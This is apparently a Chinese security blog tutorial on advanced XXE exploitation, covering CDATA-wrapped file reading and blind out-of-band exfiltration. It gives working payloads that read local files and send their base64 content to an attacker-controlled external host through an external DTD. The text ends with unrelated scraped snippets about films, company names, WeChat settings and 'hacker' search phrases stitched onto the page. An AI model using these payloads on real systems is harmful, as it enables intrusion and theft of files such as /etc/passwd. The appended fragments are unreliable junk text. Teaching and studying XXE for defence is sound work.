在XXE漏洞讲解——基础篇?中,XXE的基本原理还有简单的文件读取利用方式我们已经有了基本的了解,那么接下来就带来我们的XXE漏洞详解——进阶篇!
上篇我们本地搭建xxe漏洞环境尝试了读取system.ini文件,这是最基本的一种xxe漏洞利用方式,但是实战中往往会遇到很多的问题,也需要更多中多样的利用方式和技巧,本片就给大家一一介绍~
在读取文件时,文件中包含"<,>,&"等这些特殊符号时,会被xml解析器解析,报错从而导致读取失败,例如尝试读取以下文件
C: est.txt
内容:
<Baize Sec>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&xxe;</creds>
可以看到与读system.ini不同,这里报错了,想知道原因需要了解CDATA和PCDATA
PCDATA 指的是被解析的字符数据(Parsed Character Data)。
XML 解析器通常会解析 XML 文档中所有的文本。
当某个 XML 元素被解析时,其标签之间的文本也会被解析:
<message>此文本也会被解析</message>
解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 <name>元素包含着另外的两个元素(first 和 last):
<name><first>Bill</first><last>Gates</last></name>
而解析器会把它分解为像这样的子元素:
<name>
<first>Bill</first>
<last>Gates</last>
</name>
术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,"<" 和 "&" 是非法的。
"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。
"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:
<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>
在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。
CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。
标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。
我们的思路就是把读取的文件放在CDATA中之后再调用,那么构造一个POC如下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>
但是还是读不出来,如下图:
直接放正确的payload,然后再讲解原因
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]>
<root>&all;</root>
http://aaaaahui.com/evil.dtd
<!ENTITY all "%start;%go;%end;">
可以看到这个payload是可以成功读取文件的,对比两个payload
两个payload的逻辑都是一样的,不过第二个是调用的外部的dtd文档就可以,这是因为在xml中,xml 解析器有个限制:不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。
现在很多xxe漏洞都是没有回显的,下面是再没有回显的时候可以的利用方式。
思路就是在没有回显的时候,我们将读取的文件带出来,举一个例子就是,我们如果将/etc/passwd文件赋给实体test,那么我们在访问http://www.aaaaahui.com/?%test时,我们服务器上的日志文件就会保存/etc/passwd的文件内容,下面进行实验:
<?xml version="1.0"?>
<!DOCTYPE message [ ? ?
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>
xml.dtd
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start
%是%的html实体编码,因为在xml.dtd的实体中不能有%
实验如下图
查看日志文件
这里我们读取的文件已经带出来了,那么原理就是将文件赋给实体后带着访问我们的vps然后在日志文件中就能看到我们读取的文件了。
以上就是本篇的所有内容了,学习了网上其他作者的讲解,我这里比较基础,但是也尽可能详细了,xxe漏洞还有许多其他的利用方式,放在一起害怕基础较弱的小伙伴消化不了,所以后面再出一篇最终篇来介绍xxe漏洞其他的利用方式好了,敬请期待~
本文目录一览: 1、黑客帝国主演 2、黑客帝国4小女孩长大了? 3、黑客帝国墨菲斯扮演者 4、黑客帝国4锡安发生了什么 黑客帝国主演 黑客帝国主演有基努·里维斯、劳伦裤手斯·菲什伯恩、凯...
创业公司两个字国粹易经公司取名名字大全打分 风向国粹易经公司 44.37分 山嘴国粹易经公司 71.82分 外首国粹易经公司 87.12分 醉汉国粹易经公司 93.3...
微信可以改换和某小我聊天时的聊天布景,具体如下图所示,有需要的按步调去设置就可以了。 方式/步调 1起首我们打开手机上安装的微信软件。 2然后选择聊天对象(这种点窜的只是和那一小我的聊天布景,...
编辑导读:二线都市,牢牢跟从着一线都市的脚步,又被重重困绕在三线都市之中。与一线都市对比,二线都市仍处于互联网红利期,本文作者阐明白几个二线风口都市的互联网行业近况以及将来,我们一起来看一下。 二线...
参考: 1.先申请各个搜索引擎的闭站保护功能; 2.老网站死链提交; 3.做好404(不要直接链向首页,一定做个404页面,写个链接指向首页。) 4.设置好新老网站页面改版规则...
青岛找黑客相关问题 造成伤害最大的黑客攻击相关问题 怎么教你怎么用黑客技术攻击网站 苹果手机怎么渗透(苹果手机怎么截屏)...